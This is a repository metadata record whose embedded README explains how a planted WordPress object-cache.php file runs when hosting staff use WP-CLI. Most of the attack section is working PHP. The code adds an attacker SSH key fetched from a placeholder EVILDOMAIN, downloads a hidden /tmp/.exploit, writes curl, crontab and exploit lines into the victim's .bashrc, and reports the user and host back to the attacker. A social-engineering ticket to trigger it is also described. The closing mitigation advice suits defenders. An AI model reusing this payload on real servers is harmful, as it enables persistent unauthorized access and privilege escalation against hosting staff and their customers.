{"id":24642445,"url":"https://github.com/yoramvandevelde/wp-cli_attack_object_cache","last_synced_at":"2026-04-16T00:32:45.655Z","repository":{"id":87711975,"uuid":"174129048","full_name":"yoramvandevelde/wp-cli_attack_object_cache","owner":"yoramvandevelde","description":"Attacking hosting webservers through WP-CLI","archived":false,"fork":false,"pushed_at":"2019-03-06T18:00:19.000Z","size":16,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-08-25T04:59:52.042Z","etag":null,"topics":["exploit","hacking","pentesting","social-engineering-attacks","wordpress","wpcli"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/yoramvandevelde.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2019-03-06T11:05:21.000Z","updated_at":"2024-03-21T15:23:54.000Z","dependencies_parsed_at":"2023-03-13T18:39:46.518Z","dependency_job_id":null,"html_url":"https://github.com/yoramvandevelde/wp-cli_attack_object_cache","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/yoramvandevelde/wp-cli_attack_object_cache","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yoramvandevelde%2Fwp-cli_attack_object_cache","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yoramvandevelde%2Fwp-cli_attack_object_cache/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yoramvandevelde%2Fwp-cli_attack_object_cache/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yoramvandevelde%2Fwp-cli_attack_object_cache/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/yoramvandevelde","download_url":"https://codeload.github.com/yoramvandevelde/wp-cli_attack_object_cache/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yoramvandevelde%2Fwp-cli_attack_object_cache/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31866345,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-15T15:24:51.572Z","status":"ssl_error","status_checked_at":"2026-04-15T15:24:39.138Z","response_time":63,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","hacking","pentesting","social-engineering-attacks","wordpress","wpcli"],"created_at":"2025-01-25T13:11:46.606Z","updated_at":"2026-04-16T00:32:45.643Z","avatar_url":"https://github.com/yoramvandevelde.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Attacking hosting webservers through WP-CLI\n\n## WP-CLI\nWP-CLI [1] is the command-line interface for WordPress, as their site claims. It gives an interface to functionality of WordPress. This is quite cool and is used by a lot of (WordPress) hosting companies to troubleshoot and support their customers. \n\nAn example:\n\n```shell\n$ wp-cli.phar core version \n4.8.1\n$ wp-cli.phar plugin list\n+----------------------------+----------+-----------+----------+\n| name                       | status   | update    | version  |\n+----------------------------+----------+-----------+----------+\n| advanced-custom-fields     | active   | none      | 4.4.11   |\n| display-widgets            | active   | available | 2.6.2.1  |\n| regenerate-thumbnails      | inactive | none      | 2.2.6    |\n| simple-share-buttons-adder | inactive | none      | 6.3.6    |\n| wordpress-seo              | active   | available | 5.3.1    |\n+----------------------------+----------+-----------+----------+\n$ wp-cli.phar checksum core --skip-themes --skip-plugins \nSuccess: WordPress install verifies against checksums.\n```\n\nWP-CLI is a phar (PHp ARchive) which puts an entire application and it's dependencies into a single file. This provides an easy way to have a portable executable across multi systems. This PHAR uses the system PHP and php.ini-settings when executed. \n\nWhen you execute wp-cli.phar it executes WordPress to get access to the database and settings from `wp-config.php`. This means that code gets executed that is present within the WordPress core files. Without the `--skip-themes` and `--skip-plugins` arguments code within installed plugins and themes will also be executed. As this is the main entrypoint for most infections of WordPress it is advisable to use these arguments. \n\nWithin the above example we do an integrity check of the WordPress core (the official files shipped with WordPress). We do this using the `wp-cli.phar checksum core` command. This makes checksums for the files in de installation directory and checks those to the checksums from the original files. If there is code added to files these checksums would not match. This is a good way to ensure nobody added code to the WordPress core files. \n\nAn example of using checksums of file content:\n```shell\n$ cat testfile1 \nhi\n$ cat testfile2\nhi!\n$ sha256sum testfile1 testfile2\n98ea6e4f216f2fb4b69fff9b3a44842c38686ca685f3f55dc48c5d3fb1107be4  testfile1\n1adb41cf8efa0c375bf64d08bc0fe027a720fef0d7ac05140c2a1fe1200155a2  testfile2\n```\nIn the above example we see that adding just a exclamation mark would result in different checksums. By checking the checksum of the original WordPress files wp-cli.phar compares the files content to the current contents of these files. In other words we check if the files are different from the original WordPress core files. Differences could be an infection or that someone added functionalilty. Either way the code should not be trusted without checking what is added. Combined with the skipping of (untrusted) plugin and theme code you would think that you are only execute trusted WordPress code. So these checks and skipping of code could give a false sense of security when dealing with WordPress as we'll show later on. \n\nAs an extra security layer most hosting companies might choose to disable the execution of PHP system commands and process calls. This makes it a lot harder for attackers. As they might have gotten access to the WordPress installation, they cannot call system commands. So what to do when you have access to a WordPress installation and want to escalate privileges to someone with more rights than just a sandboxed PHP proces?\n\n## WordPress Object Caching\nThis is where WordPress object caching comes in. (Persistent) Object caching is a caching strategy that stores PHP objects (for example arrays) on disk or in memory (ie. using MemCached). When another request is done, instead of sending the same database queries it gets the object from the cache. This can speed up the requested sites that do a lot of database queries.\n\nIn WordPress this can be enabled through the optional `wp-content/object-cache.php` file. This file is intended for caching plugins to provide persistent object caching for WordPress objects. This file is not part of WordPress core but is loaded on startup if it exists by wp-includes/load.php:\n\n\n**wp-includes/load.php** [2]\n```php\nfunction wp_start_object_cache() {\n\tglobal $wp_filter;\n\t$first_init = false;\n \tif ( ! function_exists( 'wp_cache_init' ) ) {\n\t\tif ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {\n\t\t\trequire_once ( WP_CONTENT_DIR . '/object-cache.php' );\n\t\t\tif ( function_exists( 'wp_cache_init' ) ) {\n\t\t\t\twp_using_ext_object_cache( true );\n\t\t\t}\n\t\t\t// Re-initialize any hooks added manually by object-cache.php\n\t\t\tif ( $wp_filter ) {\n\t\t\t\t$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );\n\t\t\t}\n\t\t}\n\t\t$first_init = true;\n\t} elseif ( ! wp_using_ext_object_cache() \u0026\u0026 file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {\n\u003csnip\u003e\n```\n\n\nAlthough this code is part of a plugin it is executed with every request to WordPress. And so wp-cli.phar executes code within this file, even if we specify the `--skip-plugins` argument. As this file is not part of the WordPress core checking for checksums skips this file. To sum it up:\n- Skipped during checksum checks\n- Executed with every WordPress core execution\n- wp-cli.phar has no option to disable this code\n\nThis could be a nice attack vector.\n\nSo let's see this in action:\n```shell\n$ stat wp-content/object-cache.php\nstat: cannot stat `wp-content/object-cache.php': No such file or directory\n$ wp-cli.phar plugin list --skip-themes --skip-plugins\n+-----------+----------+--------+---------+\n| name      | status   | update | version |\n+-----------+----------+--------+---------+\n| hello     | inactive | none   | 1.6     |\n+-----------+----------+--------+---------+\n$ echo '\u003c?php echo \"hi there\\n\"; ?\u003e' \u003e wp-content/object-cache.php\n$ wp-cli.phar plugin list --skip-themes --skip-plugins\nhi there\n+-----------+----------+--------+---------+\n| name      | status   | update | version |\n+-----------+----------+--------+---------+\n| hello     | inactive | none   | 1.6     |\n+-----------+----------+--------+---------+\n$ wp-cli.phar checksum core\nSuccess: WordPress install verifies against checksums.\n```\n\nIn the above example we create `wp-content/object-cache.php` and inject `\u003c?php echo \"hi there\\n\"; ?\u003e` into it. The next time we run `wp-cli.phar` this code is executed even though we disable plugin and theme code execution.  \n\n\n## The attack\nFor attacking this we setup an imaginary hosting environment:\n- Linux server\n- Whatever webserver, SQL server etc you wish\n- The PHP-FPM process will run as a non-priviliged user (`webuser`) with a /sbin/nologin shell and a open_basedir set to the docroot\n- PHP-FPM configured with a php.ini that disables the following functions:\n\t- proc functions (proc_open, proc_terminate, proc_close, proc_get_status, proc_nice)\n\t- posix functions (posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_getpwuid, posix_uname)\n\t- other functions (popen, pclose, system, show_source, dl, shell_exec, passthru)\n\n**These are not disabled by default in PHP, but any sane hosting company should disable these.**\n\nWhen a page is requested via the webserver PHP-FPM executes WordPress as `webuser`. It looks up any objects in cache as is needed and extends the data with new queries to the database. The output of the process is then served to the requestor. In this context the configuration of the server provides some security and the proces is bound to the open_basedir or docroot of the site. \n\nWhen a local system user (ie. sysadmins, support, client connecting via ssh, cronjobs) execute wp-cli.phar it is executing in context of that user. So the PHP process runs as the user executing it. This execution does not have the restrictions (ie. open_basedir) defined for the PHP-FPM workers. This is a possible way to attack the system.\n\nLet's assume we have control over a WordPress site hosted by hostingcompany X. This can be because we payed them to or someone else did and we took over their WordPress. Hostingcompany X has a supportdesk employee called Patrick. Why Patrick you ask? Well just because they do. \n\nLet's inject the following into `wp-content/object-cache.php` on this WordPress install. The excessive use of the @ symbol on the start of almost every command is to suppress errors [3] to become as stealthy as possible. Read the comment to see what the code does:\n```php\n\u003c?php    \n        // get uid from the system\n\t@$uid = posix_getuid();\n\tif( isset($uid) and $uid == 0) {\n\t\t// in the off change that someone forces wp-cli to run as uid 0 (root)\n\t\t$user = 'root';\n        \t$keyfile = '/root/.ssh/authorized_keys';\n\t\t$bashrc = '/root/.bashrc';\n\t} else {\n                // get the system username of the user executing this\n\t\t@$user = posix_getlogin();\n        \t@$keyfile = '/home/'.$user.'/.ssh/authorized_keys';\n\t\t$bashrc = '/home/'.$user.'/.bashrc';\n        }\n\t// If user is empty we are being served by the webserver. As this is a \n        // environment with security restrictions we return and let WordPress do it's thing.\n\tif($user == '') {return;} \n\t\n\t// download and add our key to the users authorized_keys\n        @$c = curl_init(\"http://EVILDOMAIN/sshkey.pub\");\n        @curl_setopt($c, CURLOPT_RETURNTRANSFER, true);\n\t@curl_setopt($c, CURLOPT_HEADER, 0);\n       \t@$t= curl_exec($c);\n        @curl_close($c);\n\t@$current = file_get_contents($keyfile);\n        $current .= \"\\n\".$t;\n\t@file_put_contents($keyfile,$current);\n\n        // chmod the pubkey to 600 otherwise openssh will ignore it\n\t@chmod($file, 0600);\n\n\t// download exploit and install it in /tmp/.exploit\n        // because by default most commandline tools hide\n        // files with names that start with a dot. \n        @$c = curl_init(\"http://EVILDOMAIN/exploit\");\n        @curl_setopt($c, CURLOPT_RETURNTRANSFER, true);\n\t@curl_setopt($c, CURLOPT_HEADER, 0);\n       \t@$t = curl_exec($c);\n\t@curl_close($c);\n\t@$payload = fopen('/tmp/.exploit', \"w+\");\n\t@fputs($payload, $t);\n\t@fclose($payload);\n        \n        // make the file executable\n        @chmod('/tmp/.exploit', 0700);\n\n\t// Now we add cronjob insertion into the bashrc of the user running the wp-cli.phar\n\t@$bashrcold = file_get_contents($bashrc);\n\t@$bashrcold .= \"\\ncurl -s http://EVILDOMAIN/sshkey.pub?\".$user.\"@\".gethostname().\" -o /tmp/.sshkey.pub 2\u003e\u00261 \u003e /dev/null;\";\n\t@$bashrcold .= \"\\ncrontab /tmp/.cronfile 2\u003e\u00261 \u003e /dev/null;\";\n\t@$bashrcold .= \"\\n/tmp/.exploit\";\n\t@file_put_contents($bashrc,$bashrcold);\n        @file_put_contents('/tmp/.cronfile', \"SHELL=/bin/bash\\nMAIL=\\\"\\\"\\n\\n37 13 * * * /tmp/.exploit\\n\");\n\n\t// we do a GET on EVILDOMAIN to inform us which username and host to SSH into with our ssh key\n\t@$c = curl_init(\"http://EVILDOMAIN/?\".$user.\"@\".gethostbyaddr(\"127.0.1.1\"));\n        @curl_setopt($c, CURLOPT_RETURNTRANSFER, true);\n\t@curl_setopt($c, CURLOPT_HEADER, 0);\n       \t@$t= curl_exec($c);\n        @curl_close($c);\n?\u003e\n```\n\n\nAfter we injected this into the site we send hostingcompany X a ticket that we cannot update some of our plugins. Patrick gets our ticket assigned, logs into the server over SSH and runs `wp-cli.phar` to see what plugins have updates available. He adds the `--skip-themes` and `--skip-plugins` arguments to be on the safe side. This is what he would see:\n\n```shell\n$ wp-cli.phar plugin list --skip-plugins --skip-themes\n+-------------------------------+----------+--------+---------+\n| name                          | status   | update | version |\n+-------------------------------+----------+--------+---------+\n| grid                          | active   | none   | 1.6.13  |\n| instagram-feed                | active   | none   | 1.4.9   |\n| nextgen-gallery               | active   | none   | 2.2.10  |\n| pace-builder                  | active   | none   | 1.1.6   |\n+-------------------------------+----------+--------+---------+\n```\n\n\nHe sees nothing at all of importance. No hack, no out of date plugins. Nothing of importance. Meanwhile on EVILDOMAIN's webserver we see the following in the logs:\n```shell\nroot@EVILDOMAIN:/var/log/apache2/# tail -f access.log \nxxx.xx.xxx.xx - - [04/Jul/2017 14:55:55] \"GET /sshkey.pub HTTP/1.1\" 200 -\nxxx.xx.xxx.xx - - [04/Jul/2017 14:55:58] \"GET /sskey.pub HTTP/1.1\" 200 -\nxxx.xx.xxx.xx - - [04/Jul/2017 14:55:58] \"GET /exploit HTTP/1.1\" 200 -\nxxx.xx.xxx.xx - - [04/Jul/2017 14:55:58] \"GET /?patrick@xxxx.xxxx.com HTTP/1.1\" 200 -\n```\n\n\nOn the hosting machine a quick look at Patricks `.bashrc`:\n```shell\n$ tail -n 3 ~/.bashrc \ncurl -s http://EVILDOMAIN/sshkey.pub?patrick@xxxx.xxxx.com -o /tmp/.sshkey.pub 2\u003e\u00261 \u003e /dev/null;\ncrontab /tmp/.cronfile 2\u003e\u00261 \u003e /dev/null;\n/tmp/.exploit \n```\n\n\nIf Patrick logs into the system once again he will execute lines in his bashrc before he sees a prompt. It adds the cronjob and the exploit is executed as the user Patrick. Maybe Patrick has passwordless sudo, maybe he doesn't. As it stands we now as an attacker have the same abilities as Patrick. This is a problem and not just Patrick's. We have an account on the system that can examine user databases, view configs and more.\n\nThere are some rare cases where we don't need Patrick. Might be so that hostingcompany X implement automatic updates of WordPress for you with a cronjob. These cronjobs might even be running as root:\n```shell\n* 0 * * * wp-cli.phar --allow-root core update \u0026\u0026 chown -R webuser:webuser httpdocs/\n```\nThis would give us code execution as root on the webserver, imagine the damage that we could do.\n\n\n## Mitigation\nWhile this problem might be quite serious the problem lies not with WP-CLI or even WordPress. The problem is that the hostingcompany doesn't know what code is executed when wp-cli.phar is used. Using WP-CLI makes life very easy for WordPress Hosters, but you need to understand what this application does under the hood. The solution to this issue is fairly easy. Always use the concept of least privilege. This means that to execute the code you use an account that has only the necessary privileges or power over the system that are needed to execute the code.\n\nIn this example we could use the user account `webuser` for this. If you force the use of the non-privileged `webuse`r all problems will be contained to the rights this user has. This can be done with the `sudo` command. Yes, it has uses other than `sudo su` and `sudo make me a sandwich` [4]:\n```shell\n$ sudo -u webuser wp-cli.phar plugin list\n```\n\nThis will executed all code within the application to priviliges you granted to webuser (which will be very limited). The limitations that are set for this user are then enforced when Patrick or root executes `wp-cli.phar` and helps to keep the system a little bit safer.\n\nIf you have any comments, suggestions or want to get in touch:  *_@sp2.io*\n\nLinks: \n- [1] http://wp-cli.org/\n- [2] https://github.com/WordPress/WordPress/blob/795af804ba83ab4ecb36477ced49980cf9f117f2/wp-includes/load.php#L474\n- [3] http://php.net/manual/en/language.operators.errorcontrol.php\n- [4] https://xkcd.com/149/\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyoramvandevelde%2Fwp-cli_attack_object_cache","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fyoramvandevelde%2Fwp-cli_attack_object_cache","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyoramvandevelde%2Fwp-cli_attack_object_cache/lists"}